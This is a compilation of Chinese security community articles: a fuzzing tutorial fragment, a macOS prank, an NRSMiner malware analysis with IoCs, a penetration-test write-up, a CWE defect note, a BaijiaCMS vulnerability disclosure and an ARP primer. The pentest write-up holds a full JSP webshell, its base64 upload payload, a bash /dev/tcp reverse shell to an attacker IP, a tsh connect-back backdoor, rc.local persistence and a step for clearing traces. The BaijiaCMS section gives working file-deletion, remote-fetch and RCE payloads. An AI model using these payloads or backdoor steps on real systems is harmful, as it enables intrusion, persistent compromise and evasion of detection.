通过公式的描述，我们可以发现当一个路径被覆盖多次时，他的权重会减少，而较新的路径的权重反而更大，而目前我们的种子调度器帅选种子主要依赖其权重，那么这就相当于种子调度器在帅选种子来进行变异时，会逐渐逐渐往新路径选择，这在一定程度上更能引导我们的Fuzzer去变异出代码覆盖率更广的数据。
下面是实验结果：
**Test_CountingGreyboxFuzzer** :
def test_countingGreyboxFuzzer(e):
seed_input = "good"
exponent = e
n = 10000
fast_schedule = AFLFastSchdule(exponent)
bostgreybox_fuzzer = CountingGreyboxFuzzer([seed_input], Mutator(), fast_schedule)
runner = FunctionCoverageRunner(crashme)
with Timer() as t:
bostgreybox_fuzzer.runs(runner, trials=n)
_, bostgreybox_coverage = population_coverage(bostgreybox_fuzzer.inputs, crashme)
print(t.elapsed_time())
# print(all_cov)
print(max(bostgreybox_coverage))
print(bostgreybox_fuzzer.population)
print(fast_schedule.path_frequency)
当e常量为5，fuzz次数为10000时
终端:
$> python3 greyboxFuzzer_test.py
0.723850758
6
[good, bg, ba, bad, bad!]
{'457ea827d94ad12c048397ad55d1d030': 6005, '193f98a7531d0e9a97a787562b595798': 2743, '80819e22a0983ebc96997fa6fe569ca8': 942, '00deafe57bb3539da4ee5a01d5fb4ebe': 260, 'c9a83c563333fdb248e6a10e56aa1f12': 50}
当我们调整e为15，trials为4000时
终端:
$> python3 greyboxFuzzer_test.py
0.251615932
6
[good, bg=oyodx, ba7g=oyodz,, badBag(yoC>,, bad!sgymIn}C1<]
{'fbdecb7cc922b14d42f4a4a4d5dc191a': 1318, 'a2229a3e7370c6970c660ec9f7e2a67b': 763, '1968f4fca86e35f60decaae9699c760d': 502, '4ea124940551c3bbb6d1f68e8337375e': 212, '79723bb9baab9395463be50202282c3e': 205}
可以发现，通过一定调整exponent常量，我们可以接近一个更有效率的测试次数值
下图是三个不同的Fuzzer的效率对比
我们可以发现，使用 **AFLFastSchedule** 优化过的Fuzzer在三者之中覆盖crashme的效率确实是要更快的多。
## 总结
通过该部分的学习，我们基本了解了什么是Fuzzing，以及如何编写基于python程序的Fuzzer，同时根据相关理论指导来优化我们的Fuzzer。
> 该系列主要参考自[FuzzingBook](https://www.fuzzingbook.org)，后面逐步更新相关知识的补充 | 社区文章 |
**作者：0xcc
原文链接：<https://mp.weixin.qq.com/s/PBRuRRkykK5PNtRHOFNTjA>**
_某某操作系统 n 秒内被攻破了！_
在安全研究的圈子里，计算器应用不仅是一个加减乘除的小工具，还是远程拿下代码执行权限的重要标志。浏览器打开一个网址，啪地一下很快啊，秒表没来得及掐就弹出了计算器！
其实利用一些 mac
系统的小功能，也能做出虽然不明白在干什么，但看着好像很厉害的样子的演示。瞬间在最新系统上，通过默认浏览器访问一个页面就弹计算器，还完美兼容 Intel 和
M1 硬件。
步骤如下:
1.登录 iCloud 并开启 iCloud 云盘
此时『访达』会 iCloud 云盘的快捷方式
2.把计算器应用（Calculator.app）复制到 iCloud 云盘上
3.右键应用，设置分享
4.按照喜好修改权限，其实无所谓了。点击『复制链接』
此时得到一个类似如下的链接：
hXXps://www.icloud.com/iclouddrive/随机字符
把 URL 的 https:// 换成 icloud-sharing://
在 Safari 中打开这个 icloud-sharing:// 的 URL ，将运行云盘中的 Calculator.app
应用。中途可能会有一些系统警告，一般只在第一次运行的时候出现，事先点掉即可。然后就可以录视频发某音了。为了效果更逼真，可以把这个链接用另一个 html
页面重定向过去。惟妙惟肖，人人都是 Master of Pwn。
这个『无法打开文档』的弹窗是预期效果，反正程序已经运行了。如果还有弹出『应用签名无效』的警告，请事先运行 sudo spctrl --master-disable
想必到这读者也看明白了。其实就是一个文件分享功能，可以直接运行程序而已，还有 **诸多限制和预备步骤**
，也不能直接远程发给别人。这显然不是漏洞。本文仅供愚人节、朋友圈、水群等场景娱乐用。
* * * | 社区文章 |
# 分析 NRSMiner 恶意软件最新样本
|
##### 译文声明
本文是翻译文章，文章原作者 f-secure，文章来源：labsblog.f-secure.com
原文地址：<https://labsblog.f-secure.com/2019/01/03/nrsminer-updates-to-newer-version/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
距离在2017年5月[WannaCry活动](https://www.f-secure.com/v-descs/trojan_w32_wannacryptor.shtml)中首次发现EternalBlue(永恒之蓝)漏洞利用已经一年多了，但我们现在仍然能够看到，在亚洲这个漏洞被用来感染未修补的机器。我们的检测报告表明，从2018年11月中旬开始，NRSMiner挖矿恶意软件的最新版本正在亚洲积极传播，它利用EternalBlue漏洞在本地网络中进行传播。大多数被感染的系统都在越南。
除了将挖矿程序下载到失陷计算机上外，NRSMiner还可以下载更新模块，并删除自己以前版本安装的文件和服务。
本文分析了最新版本的NRSMiner是如何感染系统并发现新目标的。关于缓解措施、IoC和SHA1请查看文末。
## NRSMiner如何传播
最新版本的NRSMiner通过两种方法感染系统：
* 将更新程序模块下载到已受NRSMiner旧版本感染的系统，
* 如果系统未安装补丁(MS17-010)，并且内网中的另一个系统已被NRSMiner感染。
## 方法1：通过更新模块进行感染
首先，被NRSMiner的旧版本感染(并运行wmassrv服务)的系统将连接到tecate[.]traduires[.]com，将更新程序模块作为tmp[xx].exe下载到%systemroot%temp文件夹，其中[xx]是GetTickCount()
API的返回值。
在执行该更新程序时，它将从硬编码IP地址列表中的一个下载另一个文件到同一个文件夹：
下载的文件（/x86或/x64）作为WUDHostUpgrade[xx].exe保存在%systemroot%temp中，同样地，其中[xx]是GetTickCount()
API的返回值。
### WUDHostUpgrade[xx].exe
WUDHostUpgrade[xx].exe首先检查mutex{502CBAF5-55E5-F190-16321A4}，以确定系统是否已经感染了最新的NRSMiner版本。如果已经感染，WUDHostUpgrade[xx].exe将自行删除。否则它将删除MarsTraceDiagnostis.xml、snmpstorsrv.dll、MgmtFilterShim.ini文件。
接下来，模块将MarsTraceDiagnostics.xml和snmpstorsrv.dll从其资源部分(BIN目录)提取到%systemroot%system32或%systemroot%sysWOW64文件夹。
然后，它从svchost.exe复制CreationTime、LastAccessTime和LastWritetime属性的值，并用复制的值更新MarsTraceDiagnostis.xml和snmpstorsrv.dll文件对应的属性。
最后，WUDHostUpgrade[xx].exe创建一个名为snmpstorsrv的服务，其中snmpstorsrv.dll注册为servicedll。然后它会自行删除。
### Snmpstorsrv服务
新创建的Snmpstorsrv服务通过“svchost.exe -k
netsvcs”启动，并加载snmpstorsrv.dll文件，该文件创建多个线程来执行多个恶意活动。
服务首先在%systemroot%system32文件夹中创建名为MgmtFilterShim.ini的文件，在其中写入“+”，并修改其CreationTime、LastAccessTime和LastWritetime属性，使其具有与svchost.exe相同的值。
接下来，Snmpstorsrv服务从MarsTraceDiagnostis.xml中提取恶意URL和挖矿程序的配置文件。
在一个已经被NRSMiner的旧版本感染的系统上，恶意软件将删除旧版本的所有组件，然后再感染较新的版本。要删除旧版本，最新版本需要知道要删除的服务、任务和文件的列表，这些文件可以通过snmpstorsrv.dll文件中的字符串找到；要删除所有旧版本，需要使用MarsTraceDiagnostis.xml文件中的列表。
删除所有旧版本的组件后，Snmpstorsrv服务通过以下链接，检查挖矿模块是否更新：
* reader[.]pamphler[.]com/resource
* handle[.]pamphler[.]com/modules.dat
如果更新后的挖矿模块可用，则下载该模块并将其写入MarsTraceDiagnostis.xml文件。下载新模块后，删除%systemroot%system32TrustedHostex.exe中的旧挖矿程序。在内存中解压新的挖矿程序，并将新提取的挖矿程序配置数据写入其中。
然后将这个新更新的挖矿文件注入svchost.exe进行挖矿。如果注入失败，则服务将挖矿程序写入%systemroot%system32TrustedHostex.exe并执行。
接下来，Snmpstorsrv服务解压wininit.exe文件并将其注入svchost.exe。如果注入失败，它会将wininit.exe写入%systemroot%AppDiagnoticswininit.exe并执行它。该服务还打开60153端口并开始侦听。
在另外两个线程中，该服务向以下站点发送有关受感染系统的详细信息：
* pluck[.]moisture[.]tk – mac地址，ip地址，系统名称，操作系统信息
* jump[.]taucepan[.]com – 特定处理器和内存信息
根据发送的信息，将下载并执行一个新的更新程序，该文件将执行上面“更新模块”一节中描述的相同活动。该更新模块可用于感染任何新版本的NRSMiner系统。
## 方法2：通过Wininit.exe感染并利用
在最新的NRSMiner版本中，wininit.exe负责处理其利用和传播活动。Wininit.exe将压缩后的数据解压到%systemroot%AppDiagnoticsble.xml中，并将文件解压到AppDiagnotics文件夹中。解压文件中有一个名为svchost.exe的文件，它是EternalBlue2.2.0可执行文件。然后，它删除ble.xml文件，并在AppDiagnotics文件夹中写入两个名为x86.dll和x64.dll的新文件。
Wininit.exe扫描TCP端口445上的本地网络，搜索其他可访问的系统。然后它将执行EternalBlue可执行文件，利用发现的任何易受攻击的系统。利用漏洞攻击的信息记录在process1.txt文件中。
如果成功利用了目标系统，wininit.exe将执行spoolsv.exe，这是DoublePulsar-1.3.1可执行文件。它将DoublePulsar后门安装到失陷系统上。根据目标的操作系统的不同，对应的x86.dll或x64.dll文件随后通过wininit.exe传输，并通过spoolsv.exe后门注入目标系统的lsass.exe。
### x86.dll/x64.dll
该文件创建一个套接字连接，并从受感染的父系统中获取%systemroot%system32文件夹中的MarsTraceDiagnostis.xml文件。提取snmpstorsrv.dll，然后在新感染的系统上创建并启动Snmpstorsrv服务，从而重复整个感染周期并查找其他目标。
## 挖矿模块
NRSMiner使用XMRig Monero CPU挖矿程序来挖掘门罗币。它通过下面的参数之一运行：
下面是参数中使用的开关：
* -o, –url=URL 挖矿服务器URL
* -u, –user=USERNAME 挖矿服务器用户名
* -p, –pass=PASSWORD 挖矿服务器密码
* -t, –threads=N 挖矿程序线程数
* –donate-level=N 捐赠水平，默认5%
* –nicehash 启用nicehash.com支持
## 缓解措施
可以采取以下措施减少EternalBlue漏洞利用，并防止扩散。
* 对于F-Secure：
* 确保F-Secure程序使用最新的可用数据库更新。
* 确保在所有公司端点中打开DeepGuard，并启用F-Secure云连接。
* 确保F-Secure防火墙在默认设置中打开。或者将防火墙配置为正确拦截445的出入流量，以防止其在本地网络中传播。
* Windows：
* 使用软件更新程序或任何其他可用的工具来识别端点，使用微软发布的安全补丁([4013389](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx))，并立即对其进行修补。
* 根据微软[关于WannaCrypt攻击的客户指南](https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/)中的指导，为系统应用相关的修补程序。
* 如果无法立即对其进行修补，建议禁用SMBv1，使用[Knowledge Base Article 2696547](https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and-windows=)中的步骤来减少攻击面。
## IoC
**Sha1s:**
32ffc268b7db4e43d661c8b8e14005b3d9abd306 - MarsTraceDiagnostics.xml
07fab65174a54df87c4bc6090594d17be6609a5e - snmpstorsrv.dll
abd64831ad85345962d1e0525de75a12c91c9e55 - AppDiagnostics folder (zip)
4971e6eb72c3738e19c6491a473b6c420dde2b57 - Wininit.exe
e43c51aea1fefb3a05e63ba6e452ef0249e71dd9 – tmpxx.exe
327d908430f27515df96c3dcd180bda14ff47fda – tmpxx.exe
37e51ac73b2205785c24045bc46b69f776586421 - WUDHostUpgradexx.exe
da673eda0757650fdd6ab35dbf9789ba8128f460 - WUDHostUpgradexx.exe
ace69a35fea67d32348fc07e491080fa635cc859 - WUDHostUpgradexx.exe
890377356f1d41d2816372e094b4e4687659a96f - WUDHostUpgradexx.exe
7f1f63feaf79c5f0a4caa5bbc1b9d76b8641181a - WUDHostUpgradexx.exe
9d4d574a01aaab5688b3b9eb4f3df2bd98e9790c - WUDHostUpgradexx.exe
9d7d20e834b2651036fb44774c5f645363d4e051 – x64.dll
641603020238a059739ab4cd50199b76b70304e1 – x86.dll
**IP地址：**
167[.]179.79.234
104[.]248.72.247
172[.]105.229.220
207[.]148.110.212
149[.]28.133.197
167[.]99.172.78
181[.]215.176.23
38[.]132.111.23
216[.]250.99.33
103[.]103.128.151
**URL:**
c[.]lombriz[.]tk
state[.]codidled[.]com
null[.]exhauest[.]com
take[.]exhauest[.]com
junk[.]soquare[.]com
loop[.]sawmilliner[.]com
fox[.]weilders[.]com
asthma[.]weilders[.]com
reader[.]pamphler[.]com
jump[.]taucepan[.]com
pluck[.]moisture[.]tk
handle[.]pamphler[.]com | 社区文章 |
### 一 前言
最近在渗透测试中，遇到一个比较有趣的站，因此来分享一下
### 二 信息收集
首先通过nmap进行端口扫描，同时通过dirsearch进行目录扫描，dirsearch扫描结果如下。
通过目录扫描发现一些有用的信息
第一 axis2构建的webservice
第二 axis2的后台登录地址(/axis2/axis2-admin/)存在
google axis2漏洞,发现多半都是默认口令进入后台上传war包getshell
### 三 漏洞测试
访问后台地址，尝试默认口令admin/axis2，发现如下，顿时心凉半截
尝试爆破，无果
不甘心就此止步于此，于是尝试浏览网站，看看是否存在其他有价值的漏洞，直到发现了这个
### 四 柳暗花明
访问<http://xxxxxx/axis2/services/FileUploader?wsdl> 发现一个wsdl接口文档，名为uploadfile
第一次看到一阵蒙，但内心坚定这里一定可以利用，于是各种百度，发现了如下文章
[webservie+soap+wsdl入门](https://www.jianshu.com/p/bd59ea71338e)
根据文章所讲，加上自己猜测，明白这是个可以上传文件的接口文档，根据文档简单来看
如下代码定义了传入的参数
documento表示上传内容，类型是base64Binary
ruta表示路径，类型是String
nombre表示文件名字，类型是String
<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="documento" nillable="true" type="xs:base64Binary"/>
<xs:element minOccurs="0" name="ruta" nillable="true" type="xs:string"/>
<xs:element minOccurs="0" name="nombre" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>
如下代码定义了上传访问路径(FileUploader/uploadFile)，以及上传方式(post)
<wsdl:binding name="FileUploaderHttpBinding" type="axis2:FileUploaderPortType">
<http:binding verb="POST"/>
<wsdl:operation name="uploadFile">
<http:operation location="FileUploader/uploadFile"/>
<wsdl:input>
<mime:content type="text/xml" part="parameters"/>
</wsdl:input>
<wsdl:output>
<mime:content type="text/xml" part="parameters"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
结合以上，可以看出来这个接口文档告诉我们这里存在一个任意文件上传漏洞
#### 上传jsp木马
<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=big5">
</head>
<body>
<%
Runtime runtime = Runtime.getRuntime();
Process process =null;
String line=null;
InputStream is =null;
InputStreamReader isr=null;
BufferedReader br =null;
String ip=request.getParameter("cmd");
try
{
process =runtime.exec(ip);
is = process.getInputStream();
isr=new InputStreamReader(is);
br =new BufferedReader(isr);
out.println("<pre>");
while( (line = br.readLine()) != null )
{
out.println(line);
out.flush();
}
out.println("</pre>");
is.close();
isr.close();
br.close();
}
catch(IOException e )
{
out.println(e);
runtime.exit(1);
}
%>
</body>
</html>
base64编码以上jsp木马
PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==
构造payload如下
http://xxxxxx/axis2/services/FileUploader/uploadFile?documento=PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==&ruta=./&nombre=2.jsp
访问链接，结果如下，表示成功得到一个jsp shell
#### 反弹shell
访问shell地址，执行反弹shell(信息收集阶段nmap发现为linux)
> <http://xxxx/axis2/2.jsp?cmd=bash> -i >& /dev/tcp/外网ip/port 0>&1
执行反弹几次，发现一直不成功，最后通过测试，该主机对端口访问进行了限制，只能访问外网80端口，故反弹shell连接中port为80
#### 后门
当反弹shell后，发现是一台虚拟机，有点失望，但同时发现，该机具有多个内网网段，故打算留个后门以用来进行后面的内网渗透
我打算留下一个tsh后门，Tiny Shell 是一款开源的Unix类后门shell工具，由C语言编写，体积小（在kali系统上编译后只有55K大小)
该后门分为客户端和服务端，支持正向连接模式（即服务端在远程运行，使用者远程直接链接），和反弹连接模式（使用者在自己服务器监听，服务端链接监听端口）
后门下载地址:<https://github.com/orangetw/tsh.git>
下载tsh到自己服务器上，修改其中的tsh.h文件如下
#ifndef _TSH_H
#define _TSH_H
char *secret = "replace with your password";
#define SERVER_PORT 80/*监听端口*/
#define FAKE_PROC_NAME "/bin/bash"
#define CONNECT_BACK_HOST "外网ip"
#define CONNECT_BACK_DELAY 30
#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3
#endif /* tsh.h */
自己服务器上执行
目标机器上通过wget下载tsh
解压后进入tsh目录，然后执行编译(原本打算在自己服务器上编译后上传，结果因为库版本不同报错)
make linux
把图中的tsh下载到自己的服务器上(在控制端执行监听)
然后执行
./tsh cb
将图下tshd重命名为bash，移动至/usr/sbin/bash(以达到更好隐藏自己的目的)
然后执行(记住添加执行权限x)
./usr/sbin/bash
30秒钟左右，成功获取一个shell
#### 权限维持
如果，目标机器重启，则tsh后门将要失效，为了防止tsh失效，我们可以在/etc/rc.local文件中写入
/bin/bash /usr/sbin/bash
因为在linux启动中,会执行/etc/rc.local中的代码
最后就是清楚自己留下的痕迹了
### 四 总结
在这次测试中,主要是明白了,开发总是会出现各种问题,一条路不通,走下一条路,才能在这其中学到跟多知识,更加希望大佬们指出其中的不足,感谢,感谢,感谢。 | 社区文章 |
# 【缺陷周话】第55期：返回值未初始化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、返回值未初始化
在函数返回语句中，如果将未初始化变量返回，而函数的调用方对该返回值进行了使用，会因使用的变量未初始化，造成程序运行产生意料之外的行为。
详细请参见CWE-665: Improper Initialization
## 2、“返回值未初始化”的危害
返回值未初始化的危害取决于函数调用方对未初始化返回值的使用，通常会触发非预期的程序行为
## 3、示例代码
示例源于toyota-itc-benchmarks-master (https://github.com/regehr/itc-benchmarks)，源文件名：uninit_var.c。
### 3.1 缺陷代码
在上述示例代码中，第71行声明 int 类型变量 ret，但没有进行初始化，第72行通过 if 语句进行条件判断，当条件成立的情况下，为 ret
赋值为1，在第74行通过return 语句返回。由于 if(0) 恒为 false，因此 ret
不会被赋值，当第74行返回时，返回值是未初始化的，存在“返回值未初始化”问题。
使用代码卫士对上述示例代码进行检测，可以检出“返回值未初始化”缺陷，显示等级为中。如图1所示：
图1：“返回值未初始化”检测示例
### 3.2 修复代码
在上述修复代码中，修改第72行的 if 语句条件，对 ret 进行赋值，当第74行进行返回时，此时 ret 已经被赋值，从而避免了返回值未初始化问题。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“返回值未初始化”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免“返回值未初始化”
（1）在进行变量声明时，应考虑对其进行初始化（或采用默认初始化的策略）。（2）使用源代码静态分析工具，可以有效检出源代码中的未初始化问题。 | 社区文章 |
之前看到有师傅在讨论，后台的正常功能被恶意利用，算不算漏洞。
我个人理解，能够造成非预期结果的，便是漏洞。
可能会有很多师傅跟我想法不同，欢迎友好讨论
求同存异，以后介绍时分开漏洞和姿势之类。
#### 网站介绍
百家CMS微商城是一款免费开源的面向对象的多店铺多用户微商城PHP开发框架，创建于2014年6月，遵循Apache
Licence2开源协议发布，是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。
[官网](https://baijiacms.github.io/)
#### 建站
手动创建数据库bjcms
配置后完成安装
#### 漏洞复现
##### 任意文件删除
# payload
# 不需要后台权限
# 只能删除文件，不能删除文件夹
http://127.0.0.1/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../qwe.txt
设置里需要选择本地，否则删除的不是本地文件
先在根目录下创建qwe.txt作为测试文件
访问payload
查看文件，已经被删除
##### 任意路径删除
# 需要后台权限
# 只能删除路径
http://127.0.0.1//index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1
根目录下创建test文件夹，里面有内容为123的test.txt文件
访问payload
将参数转为base64并方位payload
查看文件夹，已被删除
##### 远程文件上传
我也不知道叫什么好
# 需要后台权限
http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php
远程服务器起一个/test/test.php，内容为`<?php echo "<?php phpinfo();";`，
访问payload，得到路径
访问路径，执行代码
查看本地文件
##### RCE
# 需要后台权限
http://127.0.0.1/index.php?mod=site&act=weixin&do=setting&beid=1
首先需要在设置里将图片缩放打开
本地创建`&命令&.txt`格式的文件
访问payload，并进行上传
命令执行
#### 代码审计
##### 代码结构
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统文件
include 系统文件
system 后端代码
##### 任意文件删除
/system/eshop/core/mobile/util/uploader.php
......
elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
......
file的值为GET获取的参数，跟进
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
`$settings['system_isnetattach']`的即为上文中的本地，ftp或者oss，如果本地，经过is_file的判断后，直接调用unlink删除
##### 任意路径删除
/system/manager/class/web/database.php
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功！', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
原本用于删除数据库的备份，没有做过滤，导致任意删除路径
##### 远程文件上传
/system/public/class/web/file.php
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
url为GET读取参数，跟进
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
利用pathinfo获取后缀，与随机数拼接为文件名，将读取的文件内容写入目录下，最后将路径信息返回
##### RCE
/system/weixin/class/web/setting.php
......
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt') {
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr)) {
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
if($verify_root!=WEB_ROOT."/") {
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}
$cfg['weixin_hasverify']=$file['name'];
}
......
跟进file_save函数
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
......
`$settings['image_compress_openscale']`即为是否缩放，经过判断后，直接将文件名传入system函数中导致RCE，上文的远程文件中，也调用了file_save函数，但文件名为随机数生成，导致无法调用
#### 姿势
##### 数据库泄露
后台可进行备份，格式为`/随机数文件名/baijiacms-1.sql`，文件名可查看，导致泄露 | 社区文章 |
### ARP攻击
#### 协议简介
ARP全称为Address Resolution
Protocol，即地址解析协议，它是一个根据IP地址获取物理地址的TCP/IP协议，主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址，收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。
ARP地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存，故而攻击者可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。
#### 工作原理
##### 环境假设
主机A：
* IP地址：192.168.1.1
* MAC地址：0A-11-22-33-44-01
主机B：
* IP地址：192.168.1.2
* MAC地址：0A-11-22-33-44-02
##### 工作流程
* 第1步：根据主机A上的路由表内容，确定用于访问主机B的转发IP地址是192.168.1.2，然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址
